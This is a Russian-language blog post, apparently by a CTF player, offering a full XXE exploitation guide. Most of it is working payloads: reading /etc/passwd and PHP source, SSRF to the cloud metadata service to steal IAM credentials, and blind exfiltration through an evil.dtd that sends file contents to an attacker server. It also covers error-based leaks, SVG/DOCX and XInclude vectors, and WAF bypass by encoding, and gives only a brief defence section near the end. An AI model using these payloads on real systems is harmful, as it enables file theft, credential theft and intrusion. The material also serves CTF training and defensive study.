
На последнем CTF я убил 40 минут на веб-таск, который решался тремя строчками DTD. Бэкенд принимал Content-Type: application/xml, а внешние entity в парсере никто не отключил. Пока я упорно перебирал SQLi в GET-параметрах, ответ лежал в теле POST-запроса. Три строки — /etc/passwd в ответе. Обидно? Ещё как.
XXE инъекция входит в OWASP A03:2021 (Injection), а её SSRF-эскалация — в A10:2021 (Server-Side Request Forgery). По классификации MITRE ATT&CK — Exploit Public-Facing Application (T1190, Initial Access) на входе, Data from Local System (T1005, Collection) или Credentials In Files (T1552.001, Credential Access) на выходе. Оговорка: эти техники здесь как аналогия к результату атаки (чтение файлов/credentials через парсер), а не как строгий постэксплуатационный этап с локальным присутствием на хосте. Ниже — полный арсенал эксплуатации XXE: от файлового чтения до blind OOB-каналов и обхода WAF. Пейлоады рабочие — проверены на реальных CTF-стендах.
Прежде чем лезть в пейлоады — разберёмся с бизнес-логикой атаки. Зачем вообще возиться с XML-сущностями? XXE инъекция даёт атакующему:
/etc/passwd, конфиги с паролями БД, приватные SSH-ключи, исходники. На CTF — прямой путь к флагу.169.254.169.254. В облаке это IAM-креденшалы без прямого доступа к серверу.expect). Редко, но метко.Реальные CVE подтверждают: это не теоретическая угроза. CVSS-вектор: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — атака по сети, без аутентификации, с выходом за пределы уязвимого компонента. CWE-611. CVE-2019-0340 в SAP Enable Now (до версии 1902) — отсутствие хардненинга XML-парсера в нескольких точках загрузки файлов, позволяющее читать локальные файлы через XXE. CVE-2019-12154 в RealObjects PDFreactor (до 10.1.10722) — XXE через XML-парсер с раскрытием файлов и DoS (CWE-611). Связанная CVE-2019-12153 в том же продукте — SSRF через HTML-парсер (CWE-918).
Минимум теории, чтобы пейлоады не казались магией.
XML-документ может содержать определение типа документа (DTD) в блоке <!DOCTYPE>. Внутри DTD объявляются сущности — по сути переменные. Ключевое слово SYSTEM говорит парсеру: «загрузи значение из внешнего ресурса» — файла (file://), URL (http://) или через другие протоколы.
Два типа сущностей критичны для эксплуатации XXE:
<!ENTITY name SYSTEM "file:///etc/passwd"> — подставляются через &name; в теле XML. Работают когда результат отражается в ответе сервера.<!ENTITY % name SYSTEM "http://attacker.com/evil.dtd"> — живут только внутри DTD, вызываются через %name;. Без них blind XXE эксфильтрация невозможна. Запомните это — пригодится через пару разделов.Корневая слабость — CWE-611 (Improper Restriction of XML External Entity Reference): по OWASP, «продукт обрабатывает XML-документ с сущностями, URI которых разрешаются в документы за пределами предполагаемой сферы контроля». Последствия по CWE: Read Application Data (конфиденциальность), Bypass Protection Mechanism (целостность), DoS: Resource Consumption (доступность). Связанная CWE-827 (Improper Control of Document Type Definition) — приложение не контролирует подключение произвольных DTD, что открывает дверь для OOB-эксфильтрации.
Предусловия эксплуатации XXE:
| Условие | Детали |
|---|---|
| Парсер принимает XML | Content-Type: application/xml, text/xml или автоопределение формата |
| Внешние сущности не отключены | Java DocumentBuilder/SAXParser без явного setFeature; libxml2 < 2.9; PHP DOM/SimpleXML на старой libxml |
| Данные отражаются в ответе | Для классической XXE. Для blind — не требуется |
| Сервер имеет сетевой доступ наружу | Для OOB-эксфильтрации. Для file-read — не требуется |
| Нет WAF-правил на DOCTYPE/ENTITY | Или WAF обходится через кодировки (UTF-7, UTF-16) |
Самый частый сценарий на CTF: приложение принимает XML и возвращает часть данных в HTTP-ответе. Задача — внедрить внешнюю сущность, которая подтянет содержимое целевого файла.
Допустим, приложение ожидает XML-тело и отображает значение одного из полей обратно пользователю:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Парсер обрабатывает DTD, загружает содержимое /etc/passwd в сущность &xxe; и подставляет его в <data>. В ответе — root:x:0:0:root:/root:/bin/bash.... Файл прочитан, дальше дело техники.
Что делать если не сработало:
&xxe; в каждый элемент по очереди.file://. На некоторых парсерах работает <!ENTITY xxe SYSTEM "/etc/passwd"> без протокола — файл читается по абсолютному пути.<!ELEMENT data ANY> перед <!ENTITY> в DTD.<!ENTITY test "hello"> и &test; в элементе — если в ответе hello, парсер обрабатывает DTD и можно переходить к внешним сущностям. Если нет — XXE тут не живёт, ищите другой вектор.На PHP-стенде (частый стек в CTF) файлы .php содержат теги <?, которые XML-парсер интерпретирует как processing instruction — и ломается. Решение — враппер php://filter с кодированием в base64. Пейлоад: <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">. В ответе приходит base64-строка, декодируем через echo "строка" | base64 -d и читаем исходный код. Техника незаменима когда флаг зашит в PHP-файле или нужно изучить логику приложения перед следующим шагом.
Специфика Java-стеков: при использовании DocumentBuilder или SAXParser можно запросить директорию вместо файла — <!ENTITY xxe SYSTEM "file:///etc/">. По данным HackTricks, парсер вернёт список файлов в директории. На CTF это спасает когда не знаешь точный путь к флагу — сначала листинг, потом чтение конкретного файла. Я так однажды нашёл flag_29a3f.txt в /home/ctf/ — без листинга пришлось бы гадать.
XXE уязвимость превращается в полноценную SSRF когда сущность указывает на URL вместо файла. Пейлоад <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> заставляет сервер сделать HTTP-запрос к metadata-сервису облака и вернуть IAM-креденшалы. Адрес 169.254.169.254 доступен только изнутри облачной машины — через XXE SSRF атакующий получает ключи без прямого доступа к серверу. По MITRE ATT&CK — эксфильтрация через Web Protocols (T1071.001, Command and Control).
Сканирование портов работает по тому же принципу: открытый порт — ответ (пусть с ошибкой), закрытый — таймаут или connection refused. На CTF это ведёт к скрытому внутреннему сервису с флагом.
Если сущность отражается в ответе — получаете полноценный ответ от внутреннего сервиса. Если нет — blind SSRF: факт соединения видно через Burp Collaborator или собственный слушатель, но сам ответ не прочитаешь напрямую.
Приложение не возвращает содержимое сущности в HTTP-ответе — это blind XXE. Данные приходится вытаскивать через out-of-band канал. Тут на сцену выходят параметрические сущности (помните, я говорил запомнить?).
Первый шаг — подтвердить что парсер вообще обрабатывает внешние сущности. Отправляем пейлоад с обращением к контролируемому серверу: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR_SERVER/test"> %xxe;]>. Поднимаем слушатель — python3 -m http.server 8888 или Burp Collaborator. Пришёл HTTP-запрос на слушатель — парсер обрабатывает внешние сущности, blind XXE подтверждена. Если обычные entity не сработали — пробуйте параметрические: некоторые парсеры блокируют общие внешние сущности, но параметрические пропускают.
Суть OOB-эксфильтрации: заставить парсер загрузить вредоносный DTD с вашего сервера. Этот DTD прочитает файл и отправит содержимое в HTTP-запросе обратно к вам.
На своём сервере размещаете файл evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://YOUR_SERVER/?d=%file;'>">
%eval;
%exfil;
Пейлоад для уязвимого приложения: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR_SERVER:8888/evil.dtd"> %xxe;]>. Цепочка: парсер загружает evil.dtd с вашего сервера → читает /etc/hostname в %file → собирает URL с содержимым в query string через %eval → делает HTTP-запрос через %exfil. Содержимое файла — в логах вашего HTTP-сервера.
Пошаговый алгоритм:
python3 -m http.server 8888evil.dtd в директории этого сервера<!ENTITY % xxe SYSTEM "http://YOUR_IP:8888/evil.dtd">dОграничение: OOB через HTTP не работает для многострочных файлов — URL не может содержать переводы строк и ряд спецсимволов. Для таких случаев используют FTP-эксфильтрацию (поднимается FTP-сервер, данные передаются в имени файла при FTP-соединении) или DNS-каналы (содержимое %file встраивается как субдомен: %file.attacker.com). Для CTF однострочных файлов (/etc/hostname, /flag.txt) HTTP-канала хватает за глаза.
OOB-канал заблокирован (файрвол не пускает исходящие), но парсер возвращает сообщения об ошибках — работает error-based техника. Идея: спровоцировать ошибку парсинга, в текст которой встроено содержимое файла. По данным PortSwigger, это работает когда парсер запрещает вложенные параметрические сущности во внутреннем DTD, но разрешает во внешнем — по спецификации XML это допустимо.
Вредоносный DTD на вашем сервере:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM
'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- Для многострочных файлов: php://filter/convert.base64-encode/resource=/etc/passwd -->
Парсер читает целевой файл в %file, пытается открыть файл /nonexistent/<содержимое> — получает ошибку «file not found» с путём, включающим данные файла. Ошибка возвращается в HTTP-ответе — данные эксфильтрированы без исходящего сетевого соединения. Ограничение: для многострочных файлов (например /etc/passwd) переводы строк ломают URI — в ошибке окажется только первая строка. Чтобы вытащить файл целиком, используйте php://filter/convert.base64-encode/resource=/etc/passwd вместо file:///etc/passwd в %file (на PHP-стеках), либо извлекайте данные построчно.
Вариация для CTF: если ваш сервер недоступен, но на целевой машине есть стандартные DTD — можно переопределить сущность из локального DTD. По данным HackTricks, на Linux часто доступен /usr/share/yelp/dtd/docbookx.dtd или другие системные DTD, сущности которых можно переопределить для error-based эксфильтрации. Грязный трюк, но на CTF — самое то.
Бывает что приложение принимает пользовательские данные и встраивает их в XML-документ на сервере — например, в SOAP-запрос. Вы не контролируете <!DOCTYPE>, классическая XXE невозможна. XInclude — часть спецификации XML — позволяет включать внешние документы без DOCTYPE. Пейлоад для значения любого параметра: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. На CTF встречается в SOAP-эндпоинтах и API, где вы управляете значением одного поля.
SVG — это XML. Если сервер обрабатывает загруженные изображения (ресайз, валидация, рендеринг), SVG-файл с XXE-пейлоадом в <!DOCTYPE> будет обработан парсером. Создаёте evil.svg с <!ENTITY xxe SYSTEM "file:///etc/passwd">, загружаете как аватар — парсер читает файл. Аналогично работает с DOCX: это ZIP-архив с XML-файлами внутри. Заменяете [Content_Types].xml или word/document.xml на версию с XXE — при обработке документа парсер выполнит пейлоад. На одном CTF флаг лежал именно в обработчике загрузки резюме в .docx — никто не ожидал XXE в форме HR-портала.
Один из самых недооценённых векторов в CTF. Приложение принимает Content-Type: application/x-www-form-urlencoded или application/json — попробуйте заменить на application/xml или text/xml и отправить тело в XML-формате. Многие фреймворки автоматически переключают парсер. По данным HackTricks, трюк работает на ряде Java и .NET-фреймворков, где XML-парсер зарегистрирован как fallback для Content Negotiation.
JSON-тело {"search": "test"} трансформируется в <?xml version="1.0"?><root><search>test</search></root> — и к этому XML уже применяется стандартная XXE-атака. Элементарно, но большинство команд на CTF даже не пробуют.
WAF часто блокирует строки <!DOCTYPE, <!ENTITY, SYSTEM. Способы обхода:
encoding="UTF-7" могла обойти WAF на старых парсерах (Xerces, MSXML, libxml2 < 2.9). На современных стендах не работает — libxml2 >= 2.9 и актуальные Java/.NET парсеры UTF-7 не поддерживают и отклонят документ. Привожу как historical reference: iconv -f UTF-8 -t UTF-7 payload.xmliconv -f UTF-8 -t UTF-16 payload.xml > payload_utf16.xml. WAF проверяет UTF-8, парсер обрабатывает UTF-16. На практике срабатывает чаще, чем хотелось бы защитникам.% вместо % в параметрических сущностях — это не столько обход WAF, сколько требование спецификации для вложенных сущностей, но WAF без глубокого парсинга XML пропускает такие конструкции\r\n или табов между ключевыми словами — <!ENTITY\n%\nname\nSYSTEM\n"uri"><![CDATA[...]]> для обхода сигнатурных правилПорядок действий при подозрении на XXE уязвимость:
application/xml или text/xml. Проверяйте SOAP-эндпоинты, загрузку файлов (SVG, DOCX), RSS-фиды. Попробуйте подмену Content-Type с JSON/form-data на XML.<!ENTITY test "hello"> и &test; — если в ответе hello, парсер обрабатывает DTD.file:///etc/passwd. Отражается — классическая XXE. Не отражается — переход к blind.169.254.169.254, сканирование внутренней сети, чтение конфигов с паролями.Инструменты: Burp Suite для перехвата и модификации запросов, curl для ручной отправки пейлоадов (curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target/api), python3 -m http.server для слушателя под OOB, ncat -lvp 21 для FTP-эксфильтрации. Для генерации DTD-пейлоадов удобно держать Python-скрипт с шаблонами — меняете только путь к файлу и адрес слушателя. У меня такой скрипт на 30 строк — экономит минут 5-7 на каждом таске.
Полезно понимать и атакующему — чтобы знать когда XXE точно не сработает:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). В Python (lxml): etree.XMLParser(resolve_entities=False). В PHP: libxml_disable_entity_loader(true) (deprecated в PHP 8, где libxml2 >= 2.9 отключает по умолчанию). По рекомендации OWASP — полное отключение DOCTYPE, а не только внешних сущностей.setFeature, PHP на libxml2 < 2.9.<!DOCTYPE, <!ENTITY, SYSTEM — обходятся через кодировки, как показано выше, поэтому не являются надёжной единственной защитой.Я разбираю XXE-таски на CTF около трёх лет и вижу одну и ту же картину: большинство игроков останавливаются на классическом file read. Если file:///etc/passwd не отразился в ответе — таск откладывается. Blind XXE через OOB-канал решается за 10 минут при заготовленном шаблоне evil.dtd и поднятом слушателе, но до этого шага доходят немногие. На реальных пентестах ситуация аналогичная: blind XXE встречается чаще классической, а отчёты по ней пишут реже — нужна дополнительная инфраструктура.
Второй недооценённый вектор — подмена Content-Type. На одном CTF приложение принимало JSON, но бэкенд на Java автоматически переключался на XML-парсер при получении text/xml. Ни одна команда кроме двух не попробовала сменить тип — все копали в JSON-инъекции. XXE уязвимость может скрываться там, где XML вообще не ожидается.
Парсеры становятся безопаснее по умолчанию (libxml2 >= 2.9, PHP 8), классическая XXE в свежем коде встречается реже. Но legacy-приложения, Java-стеки без явного hardening и экзотические форматы (SVG, DOCX, XLIFF, RSS) будут жить ещё долго. На CTF формулировки тасков сместятся от «прочитай /etc/passwd» к «найди XXE в нестандартном формате» — XInclude, SVG upload, JSON-to-XML. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT есть лаба на каждый такой вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...